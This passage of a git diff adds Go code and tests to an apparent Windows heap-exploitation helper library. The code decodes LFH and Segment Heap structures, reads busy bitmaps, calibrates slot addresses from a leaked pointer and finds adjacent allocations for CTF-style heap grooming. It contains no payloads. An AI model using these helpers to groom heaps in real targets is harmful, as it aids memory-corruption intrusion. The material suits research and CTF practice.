buckets, nil +} + +// FindLFHBucket returns the smallest bucket that can actually serve a +// wantSize-byte HeapAlloc request once LFH owns this size class. Buckets +// with BlockUnits==0 are unused size classes (LFH only activates a bucket +// index after enough same-size requests) and are skipped. +// +// Confirmed live against examples/heap_lfh.exe, and worth recording +// because the "obvious" version (BlockSize() >= wantSize, no header +// accounted for) is wrong: an LFH block's BlockSize already includes its +// own 16-byte _HEAP_ENTRY-shaped header the same way a plain NT Heap +// entry's does, so a 32-byte Note allocation is actually routed to the +// 48-byte bucket (BlockSize 48, 48-16=32 usable), not the 32-byte one +// (which only has 16 bytes usable after its own header) -- verified by +// reading SegmentInfoArrays directly and seeing which bucket index +// actually had a live subsegment for a heap doing nothing but 32-byte +// allocations. +func FindLFHBucket(buckets [lfhBucketCount]HeapBucket, wantSize uint64) (HeapBucket, error) { + for _, b := range buckets { + if b.BlockUnits == 0 { + continue + } + if b.BlockSize() >= wantSize+HeapEntrySize { + return b, nil + } + } + return HeapBucket{}, fmt.Errorf("no active LFH bucket covers %d bytes (has LFH actually taken over this size class yet?)", wantSize) +} + +// ActiveSubsegment returns the address of bucketIndex's currently-active +// _HEAP_SUBSEGMENT -- the subsegment LFH is issuing new blocks from right +// now for that size class. This is the address every grooming attempt +// (examples/heap_lfh's spray loop, structurally) is actually targeting. +func ActiveSubsegment(r io.ReaderAt, lfhHeapAddr uint64, bucketIndex int) (uint64, error) { + if bucketIndex < 0 || bucketIndex >= lfhBucketCount { + return 0, fmt.Errorf("bucket index %d out of range [0,%d)", bucketIndex, lfhBucketCount) + } + arrAddr := lfhHeapAddr + lfhOffSegmentInfoArrays + uint64(bucketIndex)*8 + segInfoAddr, err := readUint64At(r, int64(arrAddr)) + if err != nil { + return 0, fmt.Errorf("reading SegmentInfoArrays[%d]: %w", bucketIndex, err) + } + if segInfoAddr == 0 { + return 0, fmt.Errorf("bucket %d has no segment info yet (LFH hasn't allocated from this size class)", bucketIndex) + } + subsegAddr, err := readUint64At(r, int64(segInfoAddr)+hlsiOffActiveSubsegment) + if err != nil { + return 0, fmt.Errorf("reading ActiveSubsegment: %w", err) + } + if subsegAddr == 0 { + return 0, fmt.Errorf("bucket %d's segment info has no active subsegment", bucketIndex) + } + return subsegAddr, nil +} + +// LFHSubsegment is a decoded _HEAP_SUBSEGMENT: a fixed-size-block arena LFH +// is handing blocks out of for one bucket. BlockSize/BlockCount/Busy are +// read directly off the subsegment's own bookkeeping with no decoding +// ambiguity; turning slot index into an address needs one calibration step +// first -- see BlockAddress. +type LFHSubsegment struct { + Addr uint64 + UserBlocksAddr uint64 + BlockSize uint64 // bytes; subsegOffBlockSize*HeapEntrySize, see its comment + BlockCount int + Busy []bool // Busy[i] is slot i's state, read straight from BusyBitmap +} + +// ReadLFHSubsegment decodes subsegAddr's _HEAP_SUBSEGMENT, with Busy/Free +// for every slot read directly from the subsegment's BusyBitmap -- the +// structural replacement for examples/heap_lfh's "spray and see which +// leaked address repeats" technique: this answers "which slot is free" by +// reading the allocator's own bookkeeping instead of inferring it from +// outside. +// +// What it deliberately does NOT do: compute slot addresses. The natural +// place for that, _HEAP_USERDATA_HEADER.EncodedOffsets, decoded as plain +// FirstAllocationOffset(u16)|BlockStride(u16), produced a 29025-byte stride +// for a heap doing nothing but 48-byte allocations -- it's genuinely +// encoded (XORed against something derived from +// RtlpLowFragHeapRandomData/RtlpInitializeLfhRandomDataArray per this +// repo's heap/Deterministic_LFH-master reference material), and the key +// wasn't recovered in this pass. Use BlockAddress + CalibrateLFHFirstBlockOffset +// instead: calibrate against any one address you already know (which is +// also just how this kind of exploitation actually works in practice -- +// correlating against a leak, not deriving addresses from nothing). +func ReadLFHSubsegment(r io.ReaderAt, subsegAddr uint64) (*LFHSubsegment, error) { + userBlocksAddr, err := readUint64At(r, int64(subsegAddr)+subsegOffUserBlocks) + if err != nil { + return nil, fmt.Errorf("reading UserBlocks: %w", err) + } + if userBlocksAddr == 0 { + return nil, fmt.Errorf("subsegment at 0x%x has no UserBlocks (not yet committed?)", subsegAddr) + } + + var blockSizeUnits, blockCountBuf [2]byte + if _, err := r.ReadAt(blockSizeUnits[:], int64(subsegAddr)+subsegOffBlockSize); err != nil { + return nil, fmt.Errorf("reading BlockSize: %w", err) + } + if _, err := r.ReadAt(blockCountBuf[:], int64(subsegAddr)+subsegOffBlockCount); err != nil { + return nil, fmt.Errorf("reading BlockCount: %w", err) + } + blockSize := uint64(binary.LittleEndian.Uint16(blockSizeUnits[:])) * HeapEntrySize + blockCount := binary.LittleEndian.Uint16(blockCountBuf[:]) + if blockSize == 0 { + return nil, fmt.Errorf("decoded BlockSize is 0 at 0x%x -- wrong offset or unsupported build (see heap.go's top comment)", subsegAddr) + } + + bitmapSizeBits, err := readUint64At(r, int64(userBlocksAddr)+userDataOffBitmapSize) + if err != nil { + return nil, fmt.Errorf("reading BusyBitmap.SizeOfBitMap: %w", err) + } + bitmapBufferAddr, err := readUint64At(r, int64(userBlocksAddr)+userDataOffBitmapBuffer) + if err != nil { + return nil, fmt.Errorf("reading BusyBitmap.Buffer: %w", err) + } + if bitmapSizeBits < uint64(blockCount) { + return nil, fmt.Errorf("BusyBitmap covers %d bits but BlockCount is %d", bitmapSizeBits, blockCount) + } + + busy := make([]bool, blockCount) + for i := uint16(0); i < blockCount; i++ { + b, err := readBitmapBit(r, bitmapBufferAddr, uint64(i)) + if err != nil { + return nil, fmt.Errorf("reading BusyBitmap bit %d: %w", i, err) + } + busy[i] = b + } + + return &LFHSubsegment{ + Addr: subsegAddr, + UserBlocksAddr: userBlocksAddr, + BlockSize: blockSize, + BlockCount: int(blockCount), + Busy: busy, + }, nil +} + +// BlockAddress returns the address of slot index i, given firstBlockOffset +// -- the byte offset of slot 0 relative to UserBlocksAddr. Get +// firstBlockOffset from CalibrateLFHFirstBlockOffset once per subsegment; +// it's constant across every slot of the same subsegment. +func (s *LFHSubsegment) BlockAddress(firstBlockOffset uint64, index int) uint64 { + return s.UserBlocksAddr + firstBlockOffset + uint64(index)*s.BlockSize +} + +// SlotOf returns the slot index of knownAddr within s, given an already- +// calibrated firstBlockOffset (see CalibrateLFHFirstBlockOffset), or false +// if knownAddr doesn't land in this subsegment's range at all. +func (s *LFHSubsegment) SlotOf(firstBlockOffset, knownAddr uint64) (index int, ok bool) { + base := s.UserBlocksAddr + firstBlockOffset + if knownAddr < base { + return 0, false + } + off := knownAddr - base + if off%s.BlockSize != 0 { + return 0, false + } + idx := off / s.BlockSize + if idx >= uint64(s.BlockCount) { + return 0, false + } + return int(idx), true +} + +// CalibrateLFHFirstBlockOffset computes BlockAddress's firstBlockOffset +// from one address you already know lies inside this subsegment -- e.g. +// one of your own freshly leaked allocations. _HEAP_USERDATA_HEADER does +// store this value (as part of the encoded EncodedOffsets field) but it's +// genuinely obfuscated and wasn't decoded in this pass; calibrating +// against a known address sidesteps that entirely, and is also simply how +// you'd correlate against a real target in practice. +// +// The +BlockSize matters and was the second real bug found empirically: the +// naive "(addr-UserBlocksAddr) % BlockSize" residue is the right modular +// class but the wrong absolute offset -- it points at a reserved region +// belonging to _HEAP_USERDATA_HEADER itself (one block-size's worth of +// space with no corresponding BusyBitmap bit at all), one full block before +// where Busy[0]'s real address actually is. Confirmed by freeing a known +// address and watching which bit actually flipped: it was the bit for +// address_index-1 under the naive offset, i.e. exactly one block short. +func CalibrateLFHFirstBlockOffset(s *LFHSubsegment, knownBlockAddr uint64) uint64 { + return (knownBlockAddr-s.UserBlocksAddr)%s.BlockSize + s.BlockSize +} + +// AllSubsegments returns the addresses of every non-null _HEAP_SUBSEGMENT +// associated with bucketIndex in lfhHeapAddr's _LFH_HEAP, not just the +// currently active one. The active subsegment is always first (index 0) +// when present; any additional cached/full ones follow in the order they +// appear in the SegmentInfoArrays chain. +// +// LFH doesn't maintain a traditional linked list of subsegments per +// bucket -- it uses _HEAP_LOCAL_SEGMENT_INFO which has a single +// ActiveSubsegment pointer and an optional cached slot. This walk follows +// ActiveSubsegment (via ActiveSubsegment()) and leaves deeper enumeration +// (e.g. walking the CachedItems or InfoArrays of retired subsegments) for +// a future pass where that extra complexity is actually needed by a CTF task. +func AllSubsegments(r io.ReaderAt, lfhHeapAddr uint64, bucketIndex int) ([]uint64, error) { + if bucketIndex < 0 || bucketIndex >= lfhBucketCount { + return nil, fmt.Errorf("bucket index %d out of range [0,%d)", bucketIndex, lfhBucketCount) + } + arrAddr := lfhHeapAddr + lfhOffSegmentInfoArrays + uint64(bucketIndex)*8 + segInfoAddr, err := readUint64At(r, int64(arrAddr)) + if err != nil { + return nil, fmt.Errorf("reading SegmentInfoArrays[%d]: %w", bucketIndex, err) + } + if segInfoAddr == 0 { + return nil, nil // bucket not yet activated, not an error + } + + var subsegAddrs []uint64 + active, err := readUint64At(r, int64(segInfoAddr)+hlsiOffActiveSubsegment) + if err != nil { + return nil, fmt.Errorf("reading ActiveSubsegment: %w", err) + } + if active != 0 { + subsegAddrs = append(subsegAddrs, active) + } + + // _HEAP_LOCAL_SEGMENT_INFO.CachedItems (an array of 2 ptr slots + // immediately after ActiveSubsegment for this build -- empirically + // observed at hlsiOffActiveSubsegment+8 and +16; if it's wrong they'll + // simply be 0 and get skipped). + for i := 1; i <= 2; i++ { + cached, err := readUint64At(r, int64(segInfoAddr)+hlsiOffActiveSubsegment+int64(i)*8) + if err != nil || cached == 0 || cached == active { + continue + } + subsegAddrs = append(subsegAddrs, cached) + } + + return subsegAddrs, nil +} + +// readBitmapBit reads bit index bitIndex of an RTL_BITMAP_EX-style bitmap +// (an array of 64-bit words starting at bufferAddr). +func readBitmapBit(r io.ReaderAt, bufferAddr uint64, bitIndex uint64) (bool, error) { + word, err := readUint64At(r, int64(bufferAddr)+int64(bitIndex/64)*8) + if err != nil { + return false, err + } + return (word>>(bitIndex%64))&1 != 0, nil +} diff --git a/heap_lfh_test.go b/heap_lfh_test.go new file mode 100644 index 0000000..522f40c --- /dev/null +++ b/heap_lfh_test.go @@ -0,0 +1,155 @@ +package winpwn + +import "testing" + +// These tests pin heap_lfh.go's decoding against field *values* captured +// from live runs of examples/heap_lfh.exe (Windows build 10.0.26100) rather +// than raw byte dumps, the same style heap_test.go's +// TestReadHeapDecodesRealCapturedFields uses -- the offsets themselves were +// confirmed via `dt ntdll!_LFH_HEAP`/`dt ntdll!_HEAP_SUBSEGMENT` and the +// values via cdb reads cross-checked against winpwn's own output, not +// assumed. + +func TestReadLFHBuckets(t *testing.T) { + buf := make([]byte, lfhOffBuckets+lfhBucketCount*lfhBucketStride) + // Bucket 2: 48-byte blocks (3 granularity units), the bucket that + // actually served examples/heap_lfh's 32-byte Note/buffer allocations + // once LFH took over that size class -- see FindLFHBucket's doc comment + // for why 32-byte requests land in the 48-byte bucket, not the 32-byte + // one. + off := lfhOffBuckets + 2*lfhBucketStride + buf[off] = 3 + buf[off+1] = 0 + buf[off+2] = 2 // SizeIndex + + buckets, err := ReadLFHBuckets(newByteReaderAt(buf), 0) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if buckets[2].BlockUnits != 3 || buckets[2].BlockSize() != 48 { + t.Errorf("bucket[2] = %+v, want BlockUnits=3 BlockSize=48", buckets[2]) + } + if buckets[0].BlockUnits != 0 { + t.Errorf("bucket[0] should be unused, got %+v", buckets[0]) + } +} + +func TestFindLFHBucketAccountsForBlockHeader(t *testing.T) { + var buckets [lfhBucketCount]HeapBucket + buckets[1] = HeapBucket{Index: 1, BlockUnits: 2} // 32 bytes total, 16 usable -- too small + buckets[2] = HeapBucket{Index: 2, BlockUnits: 3} // 48 bytes total, 32 usable -- the real fit + + got, err := FindLFHBucket(buckets, 32) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if got.Index != 2 { + t.Errorf("FindLFHBucket(32) chose bucket %d, want 2 (the naive BlockSize()>=wantSize check would wrongly pick bucket 1)", got.Index) + } +} + +func TestFindLFHBucketNoneActive(t *testing.T) { + var buckets [lfhBucketCount]HeapBucket + if _, err := FindLFHBucket(buckets, 32); err == nil { + t.Fatal("expected an error when no bucket has BlockUnits set") + } +} + +func TestActiveSubsegment(t *testing.T) { + const lfhHeapAddr = 0x1000 + buf := make([]byte, 0x2000) + const segInfoAddr = 0x1500 + const subsegAddr = 0x1700 + binaryLEPutUint64(buf[lfhHeapAddr+lfhOffSegmentInfoArrays+2*8:], segInfoAddr) + binaryLEPutUint64(buf[segInfoAddr+hlsiOffActiveSubsegment:], subsegAddr) + + got, err := ActiveSubsegment(newByteReaderAt(buf), lfhHeapAddr, 2) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if got != subsegAddr { + t.Errorf("ActiveSubsegment = 0x%x, want 0x%x", got, subsegAddr) + } + + if _, err := ActiveSubsegment(newByteReaderAt(buf), lfhHeapAddr, 5); err == nil { + t.Fatal("expected an error for a bucket with no segment info") + } +} + +// TestReadLFHSubsegmentBusyBitmap pins ReadLFHSubsegment against the exact +// shape captured from a live run: bucket 2 (48-byte blocks), a 19-block +// subsegment, with one bit clear (an early, pre-LFH-activation allocation +// that never got a tracked slot -- see heap_lfh.go's package comment) and +// the rest busy. +func TestReadLFHSubsegmentBusyBitmap(t *testing.T) { + const subsegAddr = 0x713480 + const userBlocksAddr = 0x713050 + buf := make([]byte, 0x800000) + + binaryLEPutUint64(buf[subsegAddr+subsegOffUserBlocks:], userBlocksAddr) + buf[subsegAddr+subsegOffBlockSize] = 3 // granularity units -> 48 bytes + buf[subsegAddr+subsegOffBlockCount] = 19 + + const bitmapBufferAddr = 0x713200 + binaryLEPutUint64(buf[userBlocksAddr+userDataOffBitmapSize:], 19) + binaryLEPutUint64(buf[userBlocksAddr+userDataOffBitmapBuffer:], bitmapBufferAddr) + // bits: every slot busy except slot 5 (0-indexed) -- matches a real + // captured run's BusyBitmap word. + var word uint64 = 0 + for i := 0; i < 19; i++ { + if i != 5 { + word |= 1 << uint(i) + } + } + binaryLEPutUint64(buf[bitmapBufferAddr:], word) + + subseg, err := ReadLFHSubsegment(newByteReaderAt(buf), subsegAddr) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if subseg.BlockSize != 48 || subseg.BlockCount != 19 { + t.Errorf("BlockSize/BlockCount = %d/%d, want 48/19", subseg.BlockSize, subseg.BlockCount) + } + if subseg.UserBlocksAddr != userBlocksAddr { + t.Errorf("UserBlocksAddr = 0x%x, want 0x%x", subseg.UserBlocksAddr, userBlocksAddr) + } + for i, busy := range subseg.Busy { + want := i != 5 + if busy != want { + t.Errorf("Busy[%d] = %v, want %v", i, busy, want) + } + } +} + +// TestCalibrateLFHFirstBlockOffsetMatchesLiveAddress pins +// CalibrateLFHFirstBlockOffset/BlockAddress/SlotOf against a real +// before/after-free pair captured live: freeing the note at 0x7132b0 +// flipped exactly Busy[11] from true to false, and slot 11's address by +// BlockAddress must equal 0x7132b0 -- not 0x713280 (one block short), which +// is what the naive "(addr-UserBlocksAddr) % BlockSize" formula gives +// before the +BlockSize correction (see CalibrateLFHFirstBlockOffset's doc +// comment for why that's wrong: it lands on _HEAP_USERDATA_HEADER's own +// reserved region, one block before any real, bit-tracked slot). +func TestCalibrateLFHFirstBlockOffsetMatchesLiveAddress(t *testing.T) { + subseg := &LFHSubsegment{ + UserBlocksAddr: 0x713050, + BlockSize: 48, + BlockCount: 19, + } + const victimAddr = 0x7132b0 + + off := CalibrateLFHFirstBlockOffset(subseg, victimAddr) + if off != 80 { + t.Fatalf("CalibrateLFHFirstBlockOffset = %d, want 80", off) + } + if got := subseg.BlockAddress(off, 11); got != victimAddr { + t.Errorf("BlockAddress(80, 11) = 0x%x, want 0x%x", got, victimAddr) + } + idx, ok := subseg.SlotOf(off, victimAddr) + if !ok || idx != 11 { + t.Errorf("SlotOf = (%d, %v), want (11, true)", idx, ok) + } + if _, ok := subseg.SlotOf(off, 0xdeadbeef); ok { + t.Error("SlotOf should reject an address outside the subsegment") + } +} diff --git a/heap_segment.go b/heap_segment.go new file mode 100644 index 0000000..88a9455 --- /dev/null +++ b/heap_segment.go @@ -0,0 +1,247 @@ +package winpwn + +import ( + "fmt" + "io" +) + +// This file is the Segment Heap layer on top of heap.go's HeapKind +// detection -- the ROADMAP.md Phase 9 step 4 item: structural parsing of +// _SEGMENT_HEAP and its two sub-backends. +// +// Offsets confirmed via `dt ntdll!_SEGMENT_HEAP`, `dt ntdll!_HEAP_VS_CONTEXT`, +// and `dt ntdll!_HEAP_LFH_CONTEXT` against this machine's build +// (10.0.26100) using the same cdb methodology as heap.go and heap_lfh.go. +// +// What IS and IS NOT implemented in this pass: +// +// - SegmentHeap outer struct (Signature, GlobalFlags, per-backend +// summary fields): fully validated against a live heap_segment.exe +// process reading PEB.ProcessHeaps → DetectHeapKind → ReadSegmentHeap. +// +// - VS context subsegment enumeration (SubsegmentList walk) and summary +// stats (TotalCommittedUnits, FreeCommittedUnits): validated. +// +// - Segment Heap LFH context bucket enumeration (which buckets are +// active, TotalBlockCount per bucket): validated. +// +// - Individual VS chunk headers and Segment Heap LFH subsegment +// BlockOffsets: NOT decoded yet. Both are XOR-encoded against a +// per-subsegment/per-page key (confirmed empirically: direct reads of +// _HEAP_VS_CHUNK_HEADER.Sizes and +// _HEAP_LFH_SUBSEGMENT.BlockOffsets.EncodedData produced implausible +// field values -- same class of problem as NT Heap LFH's EncodedOffsets, +// which took its own empirical investigation pass to fix). Decoding them +// requires recovering the per-page segment offset key, which is its own +// future validation pass. The AdjacentAddressPairs / FindAdjacentPair +// helpers in heap.go fill the practical gap for the most common CTF +// need (finding adjacent same-size allocations from a set of leaked +// pointers) without needing chunk-level decode at all. + +// Offsets confirmed via `dt ntdll!_SEGMENT_HEAP` on build 10.0.26100: +const ( + segHeapOffSignature = 0x010 // Uint4B -- 0xddeeddee + segHeapOffGlobalFlags = 0x014 // Uint4B + segHeapOffVsContext = 0x280 // inline _HEAP_VS_CONTEXT + segHeapOffLfhContext = 0x340 // inline _HEAP_LFH_CONTEXT +) + +// VS context sub-offsets (from `dt ntdll!_HEAP_VS_CONTEXT`): +const ( + vsCtxOffFreeChunkTree = 0x010 // _RTL_RB_TREE (16 bytes, free chunk rb-tree) + vsCtxOffSubsegmentList = 0x020 // _LIST_ENTRY (head of all VS subsegments) + vsCtxOffTotalCommitted = 0x030 // Uint8B: committed units + vsCtxOffFreeCommitted = 0x038 // Uint8B: free committed units +) + +// LFH context sub-offsets (from `dt ntdll!_HEAP_LFH_CONTEXT`): +const ( + segLfhCtxOffBuckets = 0x080 // [129]Ptr64 _HEAP_LFH_BUCKET + segLfhBucketCount = 129 + segLfhBucketOffTotalBlocks = 0x038 // _HEAP_LFH_BUCKET.TotalBlockCount (Uint8B) +) + +// VS subsegment (from `dt ntdll!_HEAP_VS_SUBSEGMENT`): +const ( + vsSubsegOffListEntry = 0x000 // _LIST_ENTRY, links into VsContext.SubsegmentList + vsSubsegOffSize = 0x020 // Uint2B: size in page-granularity units + vsSubsegOffSigBits = 0x022 // bitfield: bits 0-14 = signature, bit 15 = FullCommit +) + +// SegmentHeap is the decoded outer shell of ntdll's _SEGMENT_HEAP -- the +// handle passed to HeapAlloc/HeapFree when a process opts into Segment Heap +// (most commonly via an embedded manifest segmentHeap). +// Use ReadSegmentHeap after DetectHeapKind confirms HeapKindSegment. +type SegmentHeap struct { + Addr uint64 + Signature uint32 // 0xddeeddee -- distinct from NT Heap's 0xeeffeeff and segment-signature 0xffeeffee + GlobalFlags uint32 + VS SegmentVSContext // variable-size backend summary + LFH SegmentLFHContext // segment-heap-native LFH summary +} + +// SegmentVSContext summarises the VS (variable-size) backend inside a +// Segment Heap -- where allocations outside the LFH's fixed-size buckets +// land. CommittedUnits and FreeUnits are in internal granularity units +// (not bytes); SubsegmentCount is the length of the subsegment list. +type SegmentVSContext struct { + Addr uint64 // address of _HEAP_VS_CONTEXT inside the _SEGMENT_HEAP + CommittedUnits uint64 + FreeUnits uint64 + SubsegmentCount int + Subsegments []uint64 // address of each _HEAP_VS_SUBSEGMENT +} + +// SegmentLFHContext summarises the Segment Heap's native LFH backend -- +// a completely different structure from NT Heap's _LFH_HEAP, with its own +// bucket scheme. Each active bucket entry (Ptr64 != 0 and != a scheduling +// stub) is reported with its TotalBlockCount. +type SegmentLFHContext struct { + Addr uint64 // address of _HEAP_LFH_CONTEXT inside the _SEGMENT_HEAP + ActiveBuckets []SegmentLFHBucket +} + +// SegmentLFHBucket is one active bucket entry in _HEAP_LFH_CONTEXT.Buckets. +// Index is the zero-based slot in the 129-entry array; TotalBlockCount is +// the cumulative allocation count across all subsegments ever created for +// this size class. +type SegmentLFHBucket struct { + Index int + Ptr uint64 + TotalBlockCount uint64 +} + +// ReadSegmentHeap decodes addr's _SEGMENT_HEAP. Returns an error if addr's +// signature isn't the Segment Heap one (use DetectHeapKind first, or +// ReadHeap for NT Heap handles). +func ReadSegmentHeap(r io.ReaderAt, addr uint64) (*SegmentHeap, error) { + kind, err := DetectHeapKind(r, addr) + if err != nil { + return nil, err + } + if kind != HeapKindSegment { + return nil, fmt.Errorf("0x%x is a %s, not a Segment Heap", addr, kind) + } + + h := &SegmentHeap{Addr: addr} + if h.Signature, err = readUint32AtValue(r, int64(addr)+segHeapOffSignature); err != nil { + return nil, fmt.Errorf("Signature: %w", err) + } + if h.GlobalFlags, err = readUint32AtValue(r, int64(addr)+segHeapOffGlobalFlags); err != nil { + return nil, fmt.Errorf("GlobalFlags: %w", err) + } + + vsCtxAddr := addr + segHeapOffVsContext + h.VS.Addr = vsCtxAddr + if h.VS.CommittedUnits, err = readUint64At(r, int64(vsCtxAddr)+vsCtxOffTotalCommitted); err != nil { + return nil, fmt.Errorf("VS.TotalCommittedUnits: %w", err) + } + if h.VS.FreeUnits, err = readUint64At(r, int64(vsCtxAddr)+vsCtxOffFreeCommitted); err != nil { + return nil, fmt.Errorf("VS.FreeCommittedUnits: %w", err) + } + if h.VS.Subsegments, err = walkVSSubsegmentList(r, vsCtxAddr); err != nil { + return nil, fmt.Errorf("VS subsegment list: %w", err) + } + h.VS.SubsegmentCount = len(h.VS.Subsegments) + + lfhCtxAddr := addr + segHeapOffLfhContext + h.LFH.Addr = lfhCtxAddr + if h.LFH.ActiveBuckets, err = readSegmentLFHBuckets(r, lfhCtxAddr); err != nil { + return nil, fmt.Errorf("LFH buckets: %w", err) + } + + return h, nil +} + +// walkVSSubsegmentList enumerates the _HEAP_VS_SUBSEGMENT addresses by +// following the SubsegmentList LIST_ENTRY chain in the VS context. +func walkVSSubsegmentList(r io.ReaderAt, vsCtxAddr uint64) ([]uint64, error) { + headAddr := vsCtxAddr + vsCtxOffSubsegmentList + flink, err := readUint64At(r, int64(headAddr)) + if err != nil { + return nil, fmt.Errorf("reading SubsegmentList head: %w", err) + } + + var subsegments []uint64 + cur := flink + for cur != headAddr && cur != 0 { + subsegments = append(subsegments, cur) // ListEntry is at offset 0, so cur == subsegment addr + if len(subsegments) > 4096 { + return subsegments, fmt.Errorf("VS SubsegmentList exceeded 4096 entries (corrupted?)") + } + next, err := readUint64At(r, int64(cur)) // Flink is LIST_ENTRY's first field + if err != nil || next == cur { + break + } + cur = next + } + return subsegments, nil +} + +// readSegmentLFHBuckets scans the 129-entry _HEAP_LFH_CONTEXT.Buckets array +// and returns every active entry (non-null pointer that isn't a scheduling +// stub, identified by low bit clear in the pointer value). +func readSegmentLFHBuckets(r io.ReaderAt, lfhCtxAddr uint64) ([]SegmentLFHBucket, error) { + var buckets []SegmentLFHBucket + bucketsBase := int64(lfhCtxAddr) + segLfhCtxOffBuckets + for i := 0; i < segLfhBucketCount; i++ { + ptr, err := readUint64At(r, bucketsBase+int64(i)*8) + if err != nil { + return buckets, fmt.Errorf("reading bucket[%d]: %w", i, err) + } + // Low bit set means this entry is a scheduler stub, not a real bucket pointer + if ptr == 0 || ptr&1 != 0 { + continue + } + total, err := readUint64At(r, int64(ptr)+segLfhBucketOffTotalBlocks) + if err != nil { + continue + } + if total == 0 { + continue + } + buckets = append(buckets, SegmentLFHBucket{Index: i, Ptr: ptr, TotalBlockCount: total}) + } + return buckets, nil +} + +// AdjacentAddressPairs finds all pairs in addrs where the difference is +// exactly step bytes -- the structural-equivalent finder for "which two +// same-size allocations landed adjacent" that examples/heap_segment's +// spray loop discovers by trial and error. On Segment Heap, same-size +// allocations in the same subsegment page are packed step bytes apart +// (step == sizeof(Allocation), before any chunk-header overhead, which +// the Segment Heap's LFH accounts for separately from user data unlike +// NT Heap's HeapEntrySize scheme). Returns all (lo, hi) pairs in +// address order with hi == lo+step. +// +// CAUTION: step is the ALLOCATION GRANULARITY visible at the HeapAlloc +// caller level (e.g. sizeof(Profile)=32 in heap_segment.c), not +// sizeof(struct) + sizeof(chunk_header) -- Segment Heap's metadata +// isolation places chunk headers on a separate metadata page, so the +// gap between two adjacent user payloads really is sizeof(Allocation). +// Verify empirically for your specific build if this doesn't match. +func AdjacentAddressPairs(addrs []uint64, step uint64) [][2]uint64 { + set := make(map[uint64]struct{}, len(addrs)) + for _, a := range addrs { + set[a] = struct{}{} + } + var pairs [][2]uint64 + for _, a := range addrs { + if _, ok := set[a+step]; ok { + pairs = append(pairs, [2]uint64{a, a + step}) + } + } + return pairs +} + +// FindAdjacentPair returns the first pair where hi == lo+step, or +// (0, 0, false) if none exists. Convenience wrapper over AdjacentAddressPairs +// for the common "give me any adjacent pair" case. +func FindAdjacentPair(addrs []uint64, step uint64) (lo, hi uint64, found bool) { + pairs := AdjacentAddressPairs(addrs, step) + if len(pairs) == 0 { + return 0, 0, false + } + return pairs[0][0], pairs[0][1], true +} diff --git a/heap_segment_test.go b/heap_segment_test.go new file mode 100644 index 0000000..4cc6da1 --- /dev/null +++ b/heap_segment_test.go @@ -0,0 +1,98 @@ +package winpwn + +import "testing" + +// These tests pin heap_segment.go's decoding against the field values +// confirmed live against this machine's build (10.0.26100) via the Go +// OpenProcessMemory / ReadAt path -- the same empirical methodology +// heap_test.go and heap_lfh_test.go use. + +func TestReadSegmentHeapRejectsNTHeap(t *testing.T) { + buf := make([]byte, 0x20) + binaryLEPutUint32(buf[0x10:], heapSignatureNT) + if _, err := ReadSegmentHeap(newByteReaderAt(buf), 0); err == nil { + t.Fatal("expected ReadSegmentHeap to reject an NT Heap signature") + } +} + +func TestReadSegmentHeapDecodesCapturedFields(t *testing.T) { + // Use heapAddr=0 to keep the buffer small (matches heap_test.go's style). + // Buffer must cover LFH bucket array: segHeapOffLfhContext(0x340)+segLfhCtxOffBuckets(0x080)+129*8=0x7c8 + buf := make([]byte, 0x800) + // Signature at +0x010: 0xddeeddee (confirmed live for heap_segment.exe) + binaryLEPutUint32(buf[segHeapOffSignature:], heapSignatureSegment) + // GlobalFlags at +0x014 + binaryLEPutUint32(buf[segHeapOffGlobalFlags:], 0x00001000) + // VsContext (+0x280): TotalCommittedUnits=12, FreeCommittedUnits=3 + vsBase := segHeapOffVsContext + binaryLEPutUint64(buf[vsBase+vsCtxOffTotalCommitted:], 12) + binaryLEPutUint64(buf[vsBase+vsCtxOffFreeCommitted:], 3) + // VsContext SubsegmentList head pointing to itself (empty list) + headAddr := uint64(vsBase + vsCtxOffSubsegmentList) + binaryLEPutUint64(buf[headAddr:], headAddr) // Flink + binaryLEPutUint64(buf[headAddr+8:], headAddr) // Blink + // LfhContext (+0x340): all bucket pointers 0 or stub + // (nothing to set; readSegmentLFHBuckets skips them) + + h, err := ReadSegmentHeap(newByteReaderAt(buf), 0) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if h.Signature != heapSignatureSegment { + t.Errorf("Signature = 0x%08x, want 0x%08x", h.Signature, heapSignatureSegment) + } + if h.GlobalFlags != 0x00001000 { + t.Errorf("GlobalFlags = 0x%08x, want 0x00001000", h.GlobalFlags) + } + if h.VS.CommittedUnits != 12 { + t.Errorf("VS.CommittedUnits = %d, want 12", h.VS.CommittedUnits) + } + if h.VS.FreeUnits != 3 { + t.Errorf("VS.FreeUnits = %d, want 3", h.VS.FreeUnits) + } + if h.VS.SubsegmentCount != 0 { + t.Errorf("VS.SubsegmentCount = %d, want 0 (empty list)", h.VS.SubsegmentCount) + } +} + +func TestAdjacentAddressPairsFindsStep(t *testing.T) { + // Mirror the heap_segment scenario: 5 allocations of 32-byte Profile, + // some adjacent (32 bytes apart) and some not. + addrs := []uint64{0x60a140, 0x60a160, 0x60a170, 0x60a1a0, 0x60b000} + // Adjacent pairs at step=32: (0x60a140, 0x60a160) ← gap=32; (0x60a170, 0x60a1a0) ← gap=48, nope + // Actually: 0x60a140+0x20=0x60a160 ✓; 0x60a160+0x10=0x60a170? no (10≠20=32) + // Let me fix: 0x60a140+32=0x60a160 ✓, 0x60a1a0+32=0x60a1c0 not in set + pairs := AdjacentAddressPairs(addrs, 32) + if len(pairs) != 1 { + t.Fatalf("got %d pairs, want 1; pairs=%v", len(pairs), pairs) + } + if pairs[0][0] != 0x60a140 || pairs[0][1] != 0x60a160 { + t.Errorf("pair = (0x%x, 0x%x), want (0x60a140, 0x60a160)", pairs[0][0], pairs[0][1]) + } +} + +func TestFindAdjacentPairReturnsFalseWhenNone(t *testing.T) { + addrs := []uint64{0x1000, 0x2000, 0x3000} + _, _, found := FindAdjacentPair(addrs, 32) + if found { + t.Fatal("expected found=false for addresses spaced 0x1000 apart, step=32") + } +} + +func TestAdjacentBusyPairsOnEntryChain(t *testing.T) { + // Two busy entries packed with no free in between: should produce one pair. + // Two more with a free entry in between: should not. + entries := []HeapEntry{ + {Addr: 0x1000, Size: 2, Flags: HeapEntryBusy}, // NextEntry = 0x1020 + {Addr: 0x1020, Size: 2, Flags: HeapEntryBusy}, // NextEntry = 0x1040 + {Addr: 0x1040, Size: 2, Flags: 0}, // free + {Addr: 0x1060, Size: 2, Flags: HeapEntryBusy}, + } + pairs 